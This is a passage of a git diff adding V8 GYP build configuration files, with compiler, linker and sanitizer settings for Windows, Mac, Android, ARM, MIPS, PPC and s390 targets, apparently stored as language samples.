+                  # TODO(hans): Make this list shorter eventually, http://crbug.com/504657
+                  '-Qunused-arguments',  # http://crbug.com/504658
+                  '-Wno-microsoft-enum-value',  # http://crbug.com/505296
+                  '-Wno-unknown-pragmas',  # http://crbug.com/505314
+                  '-Wno-microsoft-cast',  # http://crbug.com/550065
+                ],
+              },
+            }],
+            ['clang==1 and MSVS_VERSION == "2013"', {
+              'VCCLCompilerTool': {
+                'AdditionalOptions': [
+                  '-fmsc-version=1800',
+                ],
+              },
+            }],
+            ['clang==1 and MSVS_VERSION == "2015"', {
+              'VCCLCompilerTool': {
+                'AdditionalOptions': [
+                  '-fmsc-version=1900',
+                ],
+              },
+            }],
+          ],
+        },
+      },
+    }],  # OS=="win"
+    ['OS=="mac"', {
+      'xcode_settings': {
+        'SDKROOT': 'macosx',
+        'SYMROOT': '<(DEPTH)/xcodebuild',
+      },
+      'target_defaults': {
+        'xcode_settings': {
+          'ALWAYS_SEARCH_USER_PATHS': 'NO',
+          'GCC_C_LANGUAGE_STANDARD': 'c99',         # -std=c99
+          'GCC_CW_ASM_SYNTAX': 'NO',                # No -fasm-blocks
+          'GCC_DYNAMIC_NO_PIC': 'NO',               # No -mdynamic-no-pic
+                                                    # (Equivalent to -fPIC)
+          'GCC_ENABLE_CPP_EXCEPTIONS': 'NO',        # -fno-exceptions
+          'GCC_ENABLE_CPP_RTTI': 'NO',              # -fno-rtti
+          'GCC_ENABLE_PASCAL_STRINGS': 'NO',        # No -mpascal-strings
+          # GCC_INLINES_ARE_PRIVATE_EXTERN maps to -fvisibility-inlines-hidden
+          'GCC_INLINES_ARE_PRIVATE_EXTERN': 'YES',
+          'GCC_SYMBOLS_PRIVATE_EXTERN': 'YES',      # -fvisibility=hidden
+          'GCC_THREADSAFE_STATICS': 'NO',           # -fno-threadsafe-statics
+          'GCC_WARN_NON_VIRTUAL_DESTRUCTOR': 'YES', # -Wnon-virtual-dtor
+          # MACOSX_DEPLOYMENT_TARGET maps to -mmacosx-version-min
+          'MACOSX_DEPLOYMENT_TARGET': '<(mac_deployment_target)',
+          'PREBINDING': 'NO',                       # No -Wl,-prebind
+          'SYMROOT': '<(DEPTH)/xcodebuild',
+          'USE_HEADERMAP': 'NO',
+          'OTHER_CFLAGS': [
+            '-fno-strict-aliasing',
+          ],
+          'WARNING_CFLAGS': [
+            '-Wall',
+            '-Wendif-labels',
+            '-Wno-unused-parameter',
+            # Don't warn about the "struct foo f = {0};" initialization pattern.
+            '-Wno-missing-field-initializers',
+            '-Wno-gnu-zero-variadic-macro-arguments',
+          ],
+        },
+        'conditions': [
+          ['werror==""', {
+            'xcode_settings': {'GCC_TREAT_WARNINGS_AS_ERRORS': 'NO'},
+          }, {
+            'xcode_settings': {'GCC_TREAT_WARNINGS_AS_ERRORS': 'YES'},
+          }],
+          ['clang==1', {
+            'xcode_settings': {
+              'GCC_VERSION': 'com.apple.compilers.llvm.clang.1_0',
+              'CLANG_CXX_LANGUAGE_STANDARD': 'c++11',  # -std=c++11
+            },
+            'conditions': [
+              ['clang_xcode==0', {
+                'xcode_settings': {
+                  'CC': '<(clang_dir)/bin/clang',
+                  'LDPLUSPLUS': '<(clang_dir)/bin/clang++',
+                  'CLANG_CXX_LIBRARY': 'libc++'
+                },
+              }],
+              ['v8_target_arch=="x64" or v8_target_arch=="arm64" \
+                or v8_target_arch=="mips64el"', {
+                'xcode_settings': {'WARNING_CFLAGS': ['-Wshorten-64-to-32']},
+              }],
+            ],
+          }],
+        ],
+        'target_conditions': [
+          ['_type!="static_library"', {
+            'xcode_settings': {'OTHER_LDFLAGS': ['-Wl,-search_paths_first']},
+          }],
+        ],  # target_conditions
+      },  # target_defaults
+    }],  # OS=="mac"
+    ['OS=="android"', {
+      'target_defaults': {
+        'defines': [
+          'ANDROID',
+        ],
+        'configurations': {
+          'Release': {
+            'cflags': [
+              '-fomit-frame-pointer',
+            ],
+          },  # Release
+        },  # configurations
+        'cflags': [ '-Wno-abi', '-Wall', '-W', '-Wno-unused-parameter'],
+        'cflags_cc': [ '-Wnon-virtual-dtor', '-fno-rtti', '-fno-exceptions',
+                       '-std=gnu++11' ],
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'cflags!': [
+              '-pthread',  # Not supported by Android toolchain.
+            ],
+            'cflags': [
+              '-ffunction-sections',
+              '-funwind-tables',
+              '-fstack-protector',
+              '-fno-short-enums',
+              '-finline-limit=64',
+              '-Wa,--noexecstack',
+              '--sysroot=<(android_sysroot)',
+            ],
+            'cflags_cc': [
+              '-isystem<(android_libcpp_include)',
+              '-isystem<(android_libcpp_abi_include)',
+              '-isystem<(android_support_include)',
+            ],
+            'defines': [
+              'ANDROID',
+              #'__GNU_SOURCE=1',  # Necessary for clone()
+              'HAVE_OFF64_T',
+              'HAVE_SYS_UIO_H',
+              'ANDROID_BINSIZE_HACK', # Enable temporary hacks to reduce binsize.
+              'ANDROID_NDK_VERSION=<(android_ndk_version)',
+            ],
+            'ldflags!': [
+              '-pthread',  # Not supported by Android toolchain.
+            ],
+            'ldflags': [
+              '-Wl,--no-undefined',
+              '--sysroot=<(android_sysroot)',
+              '-nostdlib',
+            ],
+            'libraries!': [
+                '-lrt',  # librt is built into Bionic.
+                # Not supported by Android toolchain.
+                # Where do these come from?  Can't find references in
+                # any Chromium gyp or gypi file.  Maybe they come from
+                # gyp itself?
+                '-lpthread', '-lnss3', '-lnssutil3', '-lsmime3', '-lplds4', '-lplc4', '-lnspr4',
+              ],
+              'libraries': [
+                '-l<(android_libcpp_library)',
+                '-latomic',
+                # Manually link the libgcc.a that the cross compiler uses.
+                '<!(<(android_toolchain)/*-gcc -print-libgcc-file-name)',
+                '-lc',
+                '-ldl',
+                '-lm',
+            ],
+            'conditions': [
+              ['target_arch == "arm"', {
+                'ldflags': [
+                  # Enable identical code folding to reduce size.
+                  '-Wl,--icf=safe',
+                ],
+              }],
+              ['target_arch=="arm" and arm_version==7', {
+                'cflags': [
+                  '-march=armv7-a',
+                  '-mtune=cortex-a8',
+                  '-mfpu=vfp3',
+                ],
+                'ldflags': [
+                  '-L<(android_libcpp_libs)/armeabi-v7a',
+                ],
+              }],
+              ['target_arch=="arm" and arm_version < 7', {
+                'ldflags': [
+                  '-L<(android_libcpp_libs)/armeabi',
+                ],
+              }],
+              ['target_arch=="x64"', {
+                'ldflags': [
+                  '-L<(android_libcpp_libs)/x86_64',
+                ],
+              }],
+              ['target_arch=="arm64"', {
+                'ldflags': [
+                  '-L<(android_libcpp_libs)/arm64-v8a',
+                ],
+              }],
+              ['target_arch=="ia32" or target_arch=="x87"', {
+                # The x86 toolchain currently has problems with stack-protector.
+                'cflags!': [
+                  '-fstack-protector',
+                ],
+                'cflags': [
+                  '-fno-stack-protector',
+                ],
+                'ldflags': [
+                  '-L<(android_libcpp_libs)/x86',
+                ],
+              }],
+              ['target_arch=="mipsel"', {
+                # The mips toolchain currently has problems with stack-protector.
+                'cflags!': [
+                  '-fstack-protector',
+                  '-U__linux__'
+                ],
+                'cflags': [
+                  '-fno-stack-protector',
+                ],
+                'ldflags': [
+                  '-L<(android_libcpp_libs)/mips',
+                ],
+              }],
+              ['(target_arch=="arm" or target_arch=="arm64" or target_arch=="x64" or target_arch=="ia32") and component!="shared_library"', {
+                'cflags': [
+                  '-fPIE',
+                ],
+                'ldflags': [
+                  '-pie',
+                ],
+              }],
+            ],
+            'target_conditions': [
+              ['_type=="executable"', {
+                'conditions': [
+                  ['target_arch=="arm64" or target_arch=="x64"', {
+                    'ldflags': [
+                      '-Wl,-dynamic-linker,/system/bin/linker64',
+                    ],
+                  }, {
+                    'ldflags': [
+                      '-Wl,-dynamic-linker,/system/bin/linker',
+                    ],
+                  }]
+                ],
+                'ldflags': [
+                  '-Bdynamic',
+                  '-Wl,-z,nocopyreloc',
+                  # crtbegin_dynamic.o should be the last item in ldflags.
+                  '<(android_lib)/crtbegin_dynamic.o',
+                ],
+                'libraries': [
+                  # crtend_android.o needs to be the last item in libraries.
+                  # Do not add any libraries after this!
+                  '<(android_lib)/crtend_android.o',
+                ],
+              }],
+              ['_type=="shared_library"', {
+                'ldflags': [
+                  '-Wl,-shared,-Bsymbolic',
+                  '<(android_lib)/crtbegin_so.o',
+                ],
+              }],
+              ['_type=="static_library"', {
+                'ldflags': [
+                  # Don't export symbols from statically linked libraries.
+                  '-Wl,--exclude-libs=ALL',
+                ],
+              }],
+            ],
+          }],  # _toolset=="target"
+          # Settings for building host targets using the system toolchain.
+          ['_toolset=="host"', {
+            'cflags': [ '-pthread' ],
+            'ldflags': [ '-pthread' ],
+            'ldflags!': [
+              '-Wl,-z,noexecstack',
+              '-Wl,--gc-sections',
+              '-Wl,-O1',
+              '-Wl,--as-needed',
+            ],
+          }],
+        ],  # target_conditions
+      },  # target_defaults
+    }],  # OS=="android"
+    ['OS=="android" and clang==0', {
+      # Hardcode the compiler names in the Makefile so that
+      # it won't depend on the environment at make time.
+      'make_global_settings': [
+        ['LD', '<!(/bin/echo -n <(android_toolchain)/../*/bin/ld)'],
+        ['RANLIB', '<!(/bin/echo -n <(android_toolchain)/../*/bin/ranlib)'],
+        ['CC', '<!(/bin/echo -n <(android_toolchain)/*-gcc)'],
+        ['CXX', '<!(/bin/echo -n <(android_toolchain)/*-g++)'],
+        ['LD.host', '<(host_ld)'],
+        ['RANLIB.host', '<(host_ranlib)'],
+        ['CC.host', '<(host_cc)'],
+        ['CXX.host', '<(host_cxx)'],
+      ],
+    }],
+    ['clang!=1 and host_clang==1 and target_arch!="ia32" and target_arch!="x64"', {
+      'make_global_settings': [
+        ['CC.host', '<(clang_dir)/bin/clang'],
+        ['CXX.host', '<(clang_dir)/bin/clang++'],
+      ],
+    }],
+    ['clang==0 and host_clang==1 and target_arch!="ia32" and target_arch!="x64"', {
+      'target_conditions': [
+        ['_toolset=="host"', {
+          'cflags_cc': [ '-std=gnu++11', ],
+        }],
+      ],
+      'target_defaults': {
+        'target_conditions': [
+          ['_toolset=="host"', { 'cflags!': [ '-Wno-unused-local-typedefs' ]}],
+        ],
+      },
+    }],
+    ['clang==1 and "<(GENERATOR)"=="ninja"', {
+      # See http://crbug.com/110262
+      'target_defaults': {
+        'cflags': [ '-fcolor-diagnostics' ],
+        'xcode_settings': { 'OTHER_CFLAGS': [ '-fcolor-diagnostics' ] },
+      },
+    }],
+    ['clang==1 and ((OS!="mac" and OS!="ios") or clang_xcode==0) '
+        'and OS!="win" and "<(GENERATOR)"=="make"', {
+      'make_global_settings': [
+        ['CC', '<(clang_dir)/bin/clang'],
+        ['CXX', '<(clang_dir)/bin/clang++'],
+        ['CC.host', '$(CC)'],
+        ['CXX.host', '$(CXX)'],
+      ],
+    }],
+    ['clang==1 and ((OS!="mac" and OS!="ios") or clang_xcode==0) '
+        'and OS!="win" and "<(GENERATOR)"=="ninja"', {
+      'make_global_settings': [
+        ['CC', '<(clang_dir)/bin/clang'],
+        ['CXX', '<(clang_dir)/bin/clang++'],
+        ['CC.host', '$(CC)'],
+        ['CXX.host', '$(CXX)'],
+      ],
+    }],
+    ['clang==1 and OS=="win"', {
+      'make_global_settings': [
+        # On Windows, gyp's ninja generator only looks at CC.
+        ['CC', '<(clang_dir)/bin/clang-cl'],
+      ],
+    }],
+    ['OS=="linux" and target_arch=="arm" and host_arch!="arm" and clang==0 and "<(GENERATOR)"=="ninja"', {
+      # Set default ARM cross tools on linux.  These can be overridden
+      # using CC,CXX,CC.host and CXX.host environment variables.
+      'make_global_settings': [
+        ['CC', '<!(which arm-linux-gnueabihf-gcc)'],
+        ['CXX', '<!(which arm-linux-gnueabihf-g++)'],
+        ['CC.host', '<(host_cc)'],
+        ['CXX.host', '<(host_cxx)'],
+      ],
+    }],
+    # TODO(yyanagisawa): supports GENERATOR==make
+    #  make generator doesn't support CC_wrapper without CC
+    #  in make_global_settings yet.
+    ['use_goma==1 and ("<(GENERATOR)"=="ninja" or clang==1)', {
+      'conditions': [
+        ['coverage==1', {
+          # Wrap goma with coverage wrapper.
+          'make_global_settings': [
+            ['CC_wrapper', '<(base_dir)/gypfiles/coverage_wrapper.py <(gomadir)/gomacc'],
+            ['CXX_wrapper', '<(base_dir)/gypfiles/coverage_wrapper.py <(gomadir)/gomacc'],
+            ['CC.host_wrapper', '<(base_dir)/gypfiles/coverage_wrapper.py <(gomadir)/gomacc'],
+            ['CXX.host_wrapper', '<(base_dir)/gypfiles/coverage_wrapper.py <(gomadir)/gomacc'],
+          ],
+        }, {
+          # Use only goma wrapper.
+          'make_global_settings': [
+            ['CC_wrapper', '<(gomadir)/gomacc'],
+            ['CXX_wrapper', '<(gomadir)/gomacc'],
+            ['CC.host_wrapper', '<(gomadir)/gomacc'],
+            ['CXX.host_wrapper', '<(gomadir)/gomacc'],
+          ],
+        }],
+      ],
+    }, {
+      'conditions': [
+        ['coverage==1', {
+          # Use only coverage wrapper.
+          'make_global_settings': [
+            ['CC_wrapper', '<(base_dir)/gypfiles/coverage_wrapper.py'],
+            ['CXX_wrapper', '<(base_dir)/gypfiles/coverage_wrapper.py'],
+            ['CC.host_wrapper', '<(base_dir)/gypfiles/coverage_wrapper.py'],
+            ['CXX.host_wrapper', '<(base_dir)/gypfiles/coverage_wrapper.py'],
+          ],
+        }],
+      ],
+    }],
+    ['use_lto==1', {
+      'target_defaults': {
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'cflags': [
+              '-flto',
+            ],
+          }],
+        ],
+      },
+    }],
+    ['use_lto==1 and clang==0', {
+      'target_defaults': {
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'cflags': [
+              '-ffat-lto-objects',
+            ],
+          }],
+        ],
+      },
+    }],
+    ['use_lto==1 and clang==1', {
+      'target_defaults': {
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'arflags': [
+              '--plugin', '<(clang_dir)/lib/LLVMgold.so',
+            ],
+            # Apply a lower optimization level with lto. Chromium does this
+            # for non-official builds only - a differentiation that doesn't
+            # exist in v8.
+            'ldflags': [
+              '-Wl,--plugin-opt,O1',
+            ],
+          }],
+        ],
+      },
+    }],
+    ['use_lto==1 and clang==0', {
+      'target_defaults': {
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'ldflags': [
+              '-flto=32',
+            ],
+          }],
+        ],
+      },
+    }],
+    ['use_lto==1 and clang==1', {
+      'target_defaults': {
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'ldflags': [
+              '-flto',
+            ],
+          }],
+        ],
+      },
+    }],
+    ['cfi_diag==1', {
+      'target_defaults': {
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'cflags': [
+              '-fno-sanitize-trap=cfi',
+              '-fno-sanitize-recover=cfi',
+            ],
+            'cflags_cc!': [
+              '-fno-rtti',
+            ],
+            'cflags!': [
+              '-fno-rtti',
+            ],
+            'ldflags': [
+              '-fno-sanitize-trap=cfi',
+              '-fno-sanitize-recover=cfi',
+            ],
+          }],
+        ],
+      },
+    }],
+    ['cfi_vptr==1', {
+      'target_defaults': {
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'cflags': [
+              '-fsanitize=cfi-vcall',
+              '-fsanitize=cfi-derived-cast',
+              '-fsanitize=cfi-unrelated-cast',
+              '-fsanitize-blacklist=<(cfi_blacklist)',
+            ],
+            'ldflags': [
+              '-fsanitize=cfi-vcall',
+              '-fsanitize=cfi-derived-cast',
+              '-fsanitize=cfi-unrelated-cast',
+            ],
+          }],
+        ],
+      },
+    }],
+  ],
+}
diff --git a/samples/Python/toolchain.gypi b/samples/Python/toolchain.gypi
new file mode 100644
index 0000000000..95eb1d99cb
--- /dev/null
+++ b/samples/Python/toolchain.gypi
@@ -0,0 +1,1420 @@
+# Copyright 2013 the V8 project authors. All rights reserved.
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are
+# met:
+#
+#     * Redistributions of source code must retain the above copyright
+#       notice, this list of conditions and the following disclaimer.
+#     * Redistributions in binary form must reproduce the above
+#       copyright notice, this list of conditions and the following
+#       disclaimer in the documentation and/or other materials provided
+#       with the distribution.
+#     * Neither the name of Google Inc. nor the names of its
+#       contributors may be used to endorse or promote products derived
+#       from this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# Shared definitions for all V8-related targets.
+
+{
+  'variables': {
+    'msvs_use_common_release': 0,
+    'clang%': 0,
+    'asan%': 0,
+    'lsan%': 0,
+    'msan%': 0,
+    'tsan%': 0,
+    'ubsan%': 0,
+    'ubsan_vptr%': 0,
+    'has_valgrind%': 0,
+    'coverage%': 0,
+    'v8_target_arch%': '<(target_arch)',
+    'v8_host_byteorder%': '<!(python -c "import sys; print sys.byteorder")',
+    'force_dynamic_crt%': 0,
+
+    # Setting 'v8_can_use_vfp32dregs' to 'true' will cause V8 to use the VFP
+    # registers d16-d31 in the generated code, both in the snapshot and for the
+    # ARM target. Leaving the default value of 'false' will avoid the use of
+    # these registers in the snapshot and use CPU feature probing when running
+    # on the target.
+    'v8_can_use_vfp32dregs%': 'false',
+    'arm_test_noprobe%': 'off',
+
+    # Similar to vfp but on MIPS.
+    'v8_can_use_fpu_instructions%': 'true',
+
+    # Similar to the ARM hard float ABI but on MIPS.
+    'v8_use_mips_abi_hardfloat%': 'true',
+
+    # Print to stdout on Android.
+    'v8_android_log_stdout%': 0,
+
+    # Force disable libstdc++ debug mode.
+    'disable_glibcxx_debug%': 0,
+
+    'v8_enable_backtrace%': 0,
+
+    # Enable profiling support. Only required on Windows.
+    'v8_enable_prof%': 0,
+
+    # Some versions of GCC 4.5 seem to need -fno-strict-aliasing.
+    'v8_no_strict_aliasing%': 0,
+
+    # Chrome needs this definition unconditionally. For standalone V8 builds,
+    # it's handled in gypfiles/standalone.gypi.
+    'want_separate_host_toolset%': 1,
+    'want_separate_host_toolset_mkpeephole%': 1,
+
+    # Toolset the shell binary should be compiled for. Possible values are
+    # 'host' and 'target'.
+    # The setting is ignored if want_separate_host_toolset is 0.
+    'v8_toolset_for_shell%': 'target',
+
+    'host_os%': '<(OS)',
+    'werror%': '-Werror',
+    # For a shared library build, results in "libv8-<(soname_version).so".
+    'soname_version%': '',
+
+    # Allow to suppress the array bounds warning (default is no suppression).
+    'wno_array_bounds%': '',
+
+    # Override where to find binutils
+    'binutils_dir%': '',
+
+    'conditions': [
+      ['OS=="linux" and host_arch=="x64"', {
+        'binutils_dir%': 'third_party/binutils/Linux_x64/Release/bin',
+      }],
+      ['OS=="linux" and host_arch=="ia32"', {
+        'binutils_dir%': 'third_party/binutils/Linux_ia32/Release/bin',
+      }],
+
+      # linux_use_bundled_gold: whether to use the gold linker binary checked
+      # into third_party/binutils.  Force this off via GYP_DEFINES when you
+      # are using a custom toolchain and need to control -B in ldflags.
+      # Do not use 32-bit gold on 32-bit hosts as it runs out address space
+      # for component=static_library builds.
+      ['((OS=="linux" or OS=="android") and (target_arch=="x64" or target_arch=="arm" or (target_arch=="ia32" and host_arch=="x64"))) or (OS=="linux" and target_arch=="mipsel")', {
+        'linux_use_bundled_gold%': 1,
+      }, {
+        'linux_use_bundled_gold%': 0,
+      }],
+      # linux_use_bundled_binutils: whether to use the binary binutils
+      # checked into third_party/binutils.  These are not multi-arch so cannot
+      # be used except on x86 and x86-64 (the only two architectures which
+      # are currently checke in).  Force this off via GYP_DEFINES when you
+      # are using a custom toolchain and need to control -B in cflags.
+      ['OS=="linux" and (target_arch=="ia32" or target_arch=="x64")', {
+        'linux_use_bundled_binutils%': 1,
+      }, {
+        'linux_use_bundled_binutils%': 0,
+      }],
+      # linux_use_gold_flags: whether to use build flags that rely on gold.
+      # On by default for x64 Linux.
+      ['OS=="linux" and target_arch=="x64"', {
+        'linux_use_gold_flags%': 1,
+      }, {
+        'linux_use_gold_flags%': 0,
+      }],
+    ],
+
+    # Link-Time Optimizations
+    'use_lto%': 0,
+
+    # Indicates if gcmole tools are downloaded by a hook.
+    'gcmole%': 0,
+  },
+  'conditions': [
+    ['host_arch=="ia32" or host_arch=="x64" or \
+      host_arch=="ppc" or host_arch=="ppc64" or \
+      host_arch=="s390" or host_arch=="s390x" or \
+      clang==1', {
+      'variables': {
+        'host_cxx_is_biarch%': 1,
+       },
+     }, {
+      'variables': {
+        'host_cxx_is_biarch%': 0,
+      },
+    }],
+    ['target_arch=="ia32" or target_arch=="x64" or target_arch=="x87" or \
+      target_arch=="ppc" or target_arch=="ppc64" or target_arch=="s390" or \
+      target_arch=="s390x" or clang==1', {
+      'variables': {
+        'target_cxx_is_biarch%': 1,
+       },
+     }, {
+      'variables': {
+        'target_cxx_is_biarch%': 0,
+      },
+    }],
+  ],
+  'target_defaults': {
+    'conditions': [
+      ['v8_target_arch=="arm"', {
+        'defines': [
+          'V8_TARGET_ARCH_ARM',
+        ],
+        'conditions': [
+          [ 'arm_version==7 or arm_version=="default"', {
+            'defines': [
+              'CAN_USE_ARMV7_INSTRUCTIONS',
+            ],
+          }],
+          [ 'arm_fpu=="vfpv3-d16" or arm_fpu=="default"', {
+            'defines': [
+              'CAN_USE_VFP3_INSTRUCTIONS',
+            ],
+          }],
+          [ 'arm_fpu=="vfpv3"', {
+            'defines': [
+              'CAN_USE_VFP3_INSTRUCTIONS',
+              'CAN_USE_VFP32DREGS',
+            ],
+          }],
+          [ 'arm_fpu=="neon"', {
+            'defines': [
+              'CAN_USE_VFP3_INSTRUCTIONS',
+              'CAN_USE_VFP32DREGS',
+              'CAN_USE_NEON',
+            ],
+          }],
+          [ 'arm_test_noprobe=="on"', {
+            'defines': [
+              'ARM_TEST_NO_FEATURE_PROBE',
+            ],
+          }],
+        ],
+        'target_conditions': [
+          ['_toolset=="host"', {
+            'conditions': [
+              ['v8_target_arch==host_arch', {
+                # Host built with an Arm CXX compiler.
+                'conditions': [
+                  [ 'arm_version==7', {
+                    'cflags': ['-march=armv7-a',],
+                  }],
+                  [ 'arm_version==7 or arm_version=="default"', {
+                    'conditions': [
+                      [ 'arm_fpu!="default"', {
+                        'cflags': ['-mfpu=<(arm_fpu)',],
+                      }],
+                    ],
+                  }],
+                  [ 'arm_float_abi!="default"', {
+                    'cflags': ['-mfloat-abi=<(arm_float_abi)',],
+                  }],
+                  [ 'arm_thumb==1', {
+                    'cflags': ['-mthumb',],
+                  }],
+                  [ 'arm_thumb==0', {
+                    'cflags': ['-marm',],
+                  }],
+                ],
+              }, {
+                # 'v8_target_arch!=host_arch'
+                # Host not built with an Arm CXX compiler (simulator build).
+                'conditions': [
+                  [ 'arm_float_abi=="hard"', {
+                    'defines': [
+                      'USE_EABI_HARDFLOAT=1',
+                    ],
+                  }],
+                  [ 'arm_float_abi=="softfp" or arm_float_abi=="default"', {
+                    'defines': [
+                      'USE_EABI_HARDFLOAT=0',
+                    ],
+                  }],
+                ],
+              }],
+            ],
+          }],  # _toolset=="host"
+          ['_toolset=="target"', {
+            'conditions': [
+              ['v8_target_arch==target_arch', {
+                # Target built with an Arm CXX compiler.
+                'conditions': [
+                  [ 'arm_version==7', {
+                    'cflags': ['-march=armv7-a',],
+                  }],
+                  [ 'arm_version==7 or arm_version=="default"', {
+                    'conditions': [
+                      [ 'arm_fpu!="default"', {
+                        'cflags': ['-mfpu=<(arm_fpu)',],
+                      }],
+                    ],
+                  }],
+                  [ 'arm_float_abi!="default"', {
+                    'cflags': ['-mfloat-abi=<(arm_float_abi)',],
+                  }],
+                  [ 'arm_thumb==1', {
+                    'cflags': ['-mthumb',],
+                  }],
+                  [ 'arm_thumb==0', {
+                    'cflags': ['-marm',],
+                  }],
+                ],
+              }, {
+                # 'v8_target_arch!=target_arch'
+                # Target not built with an Arm CXX compiler (simulator build).
+                'conditions': [
+                  [ 'arm_float_abi=="hard"', {
+                    'defines': [
+                      'USE_EABI_HARDFLOAT=1',
+                    ],
+                  }],
+                  [ 'arm_float_abi=="softfp" or arm_float_abi=="default"', {
+                    'defines': [
+                      'USE_EABI_HARDFLOAT=0',
+                    ],
+                  }],
+                ],
+              }],
+              # Disable GCC LTO for v8
+              # v8 is optimized for speed. Because GCC LTO merges flags at link
+              # time, we disable LTO to prevent any -O2 flags from taking
+              # precedence over v8's -Os flag. However, LLVM LTO does not work
+              # this way so we keep LTO enabled under LLVM.
+              ['clang==0 and use_lto==1', {
+                'cflags!': [
+                  '-flto',
+                  '-ffat-lto-objects',
+                ],
+              }],
+            ],
+          }],  # _toolset=="target"
+        ],
+      }],  # v8_target_arch=="arm"
+      ['v8_target_arch=="arm64"', {
+        'defines': [
+          'V8_TARGET_ARCH_ARM64',
+        ],
+      }],
+      ['v8_target_arch=="s390" or v8_target_arch=="s390x"', {
+        'defines': [
+          'V8_TARGET_ARCH_S390',
+        ],
+        'conditions': [
+          ['v8_target_arch=="s390x"', {
+            'defines': [
+              'V8_TARGET_ARCH_S390X',
+            ],
+          }],
+          ['v8_host_byteorder=="little"', {
+            'defines': [
+              'V8_TARGET_ARCH_S390_LE_SIM',
+            ],
+          }],
+          ],
+      }],  # s390
+      ['v8_target_arch=="ppc" or v8_target_arch=="ppc64"', {
+        'defines': [
+          'V8_TARGET_ARCH_PPC',
+        ],
+        'conditions': [
+          ['v8_target_arch=="ppc64"', {
+            'defines': [
+              'V8_TARGET_ARCH_PPC64',
+            ],
+          }],
+          ['v8_host_byteorder=="little"', {
+            'defines': [
+              'V8_TARGET_ARCH_PPC_LE',
+            ],
+          }],
+          ['v8_host_byteorder=="big"', {
+            'defines': [
+              'V8_TARGET_ARCH_PPC_BE',
+            ],
+            'conditions': [
+              ['OS=="aix"', {
+                # Work around AIX ceil, trunc and round oddities.
+                'cflags': [ '-mcpu=power5+ -mfprnd' ],
+              }],
+              ['OS=="aix"', {
+                # Work around AIX assembler popcntb bug.
+                'cflags': [ '-mno-popcntb' ],
+              }],
+            ],
+          }],
+        ],
+      }],  # ppc
+      ['v8_target_arch=="ia32"', {
+        'defines': [
+          'V8_TARGET_ARCH_IA32',
+        ],
+      }],  # v8_target_arch=="ia32"
+      ['v8_target_arch=="x87"', {
+        'defines': [
+          'V8_TARGET_ARCH_X87',
+        ],
+        'cflags': ['-march=i586'],
+      }],  # v8_target_arch=="x87"
+      ['v8_target_arch=="mips" or v8_target_arch=="mipsel" \
+        or v8_target_arch=="mips64" or v8_target_arch=="mips64el"', {
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'conditions': [
+              ['v8_target_arch==target_arch', {
+                # Target built with a Mips CXX compiler.
+                'variables': {
+                  'ldso_path%': '<!(/bin/echo -n $LDSO_PATH)',
+                  'ld_r_path%': '<!(/bin/echo -n $LD_R_PATH)',
+                },
+                'conditions': [
+                  ['ldso_path!=""', {
+                    'ldflags': ['-Wl,--dynamic-linker=<(ldso_path)'],
+                  }],
+                  ['ld_r_path!=""', {
+                    'ldflags': ['-Wl,--rpath=<(ld_r_path)'],
+                  }],
+                  [ 'clang==1', {
+                    'cflags': ['-integrated-as'],
+                  }],
+                  ['OS!="mac"', {
+                    'defines': ['_MIPS_TARGET_HW',],
+                  }, {
+                    'defines': ['_MIPS_TARGET_SIMULATOR',],
+                  }],
+                ],
+              }, {
+                'defines': ['_MIPS_TARGET_SIMULATOR',],
+              }],
+            ],
+          }],  #'_toolset=="target"
+          ['_toolset=="host"', {
+            'conditions': [
+              ['v8_target_arch==target_arch and OS!="mac"', {
+                'defines': ['_MIPS_TARGET_HW',],
+              }, {
+                'defines': ['_MIPS_TARGET_SIMULATOR',],
+              }],
+            ],
+          }],  #'_toolset=="host"
+        ],
+      }],
+      ['v8_target_arch=="mips"', {
+        'defines': [
+          'V8_TARGET_ARCH_MIPS',
+        ],
+        'conditions': [
+          [ 'v8_can_use_fpu_instructions=="true"', {
+            'defines': [
+              'CAN_USE_FPU_INSTRUCTIONS',
+            ],
+          }],
+          [ 'v8_use_mips_abi_hardfloat=="true"', {
+            'defines': [
+              '__mips_hard_float=1',
+              'CAN_USE_FPU_INSTRUCTIONS',
+            ],
+          }, {
+            'defines': [
+              '__mips_soft_float=1'
+            ]
+          }],
+        ],
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'conditions': [
+              ['v8_target_arch==target_arch', {
+                # Target built with a Mips CXX compiler.
+                'cflags': [
+                  '-EB',
+                  '-Wno-error=array-bounds',  # Workaround https://gcc.gnu.org/bugzilla/show_bug.cgi?id=56273
+                ],
+                'ldflags': ['-EB'],
+                'conditions': [
+                  [ 'v8_use_mips_abi_hardfloat=="true"', {
+                    'cflags': ['-mhard-float'],
+                    'ldflags': ['-mhard-float'],
+                  }, {
+                    'cflags': ['-msoft-float'],
+                    'ldflags': ['-msoft-float'],
+                  }],
+                  ['mips_arch_variant=="r6"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R6',
+                      'FPU_MODE_FP64',
+                    ],
